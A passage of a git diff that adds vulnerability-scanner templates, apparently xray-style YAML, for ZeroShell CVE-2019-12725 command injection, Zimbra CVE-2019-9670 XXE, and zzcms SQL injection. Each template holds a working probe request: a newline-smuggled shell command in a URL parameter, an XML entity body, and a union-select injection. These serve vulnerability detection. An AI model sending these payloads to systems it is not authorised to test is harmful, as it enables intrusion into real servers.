http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284 \ No newline at end of file diff --git a/WebScan/pocs/zeroshell-cve-2019-12725-rce.yml b/WebScan/pocs/zeroshell-cve-2019-12725-rce.yml new file mode 100644 index 0000000..13f6068 --- /dev/null +++ b/WebScan/pocs/zeroshell-cve-2019-12725-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-zeroshell-cve-2019-12725-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aexpr%20{{r1}}%20-%20{{r2}}%0A%27 + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) + +detail: + author: YekkoY + description: "ZeroShell 3.9.0-远程命令执行漏洞-CVE-2019-12725" + links: + - http://wiki.xypbk.com/IOT%E5%AE%89%E5%85%A8/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.md?btwaf=51546333 diff --git a/WebScan/pocs/zimbra-cve-2019-9670-xxe.yml b/WebScan/pocs/zimbra-cve-2019-9670-xxe.yml new file mode 100644 index 0000000..ad969dd --- /dev/null +++ b/WebScan/pocs/zimbra-cve-2019-9670-xxe.yml @@ -0,0 +1,19 @@ +name: poc-yaml-zimbra-cve-2019-9670-xxe +rules: + - method: POST + path: /Autodiscover/Autodiscover.xml + headers: + Content-Type: text/xml + body: >- + ]>test@test.com&xxe; + follow_redirects: false + expression: | + response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available") +detail: + author: fnmsd(https://blog.csdn.net/fnmsd) + cve-id: CVE-2019-9670 + vuln_path: /Autodiscover/Autodiscover.xml + description: Zimbra XXE Vul,may Control your Server with AdminPort SSRF + links: + - https://blog.csdn.net/fnmsd/article/details/88657083 + - https://blog.csdn.net/fnmsd/article/details/89235589 \ No newline at end of file diff --git a/WebScan/pocs/zzcms-zsmanage-sqli.yml b/WebScan/pocs/zzcms-zsmanage-sqli.yml new file mode 100644 index 0000000..3652b9c --- /dev/null +++ b/WebScan/pocs/zzcms-zsmanage-sqli.yml @@ -0,0 +1,25 @@ +name: poc-yaml-zzcms-zsmanage-sqli +set: + r0: randomLowercase(6) + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /user/zs.php?do=save + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23 + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /user/zsmanage.php + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + version: zzcms201910 + links: + - https://github.com/JcQSteven/blog/issues/18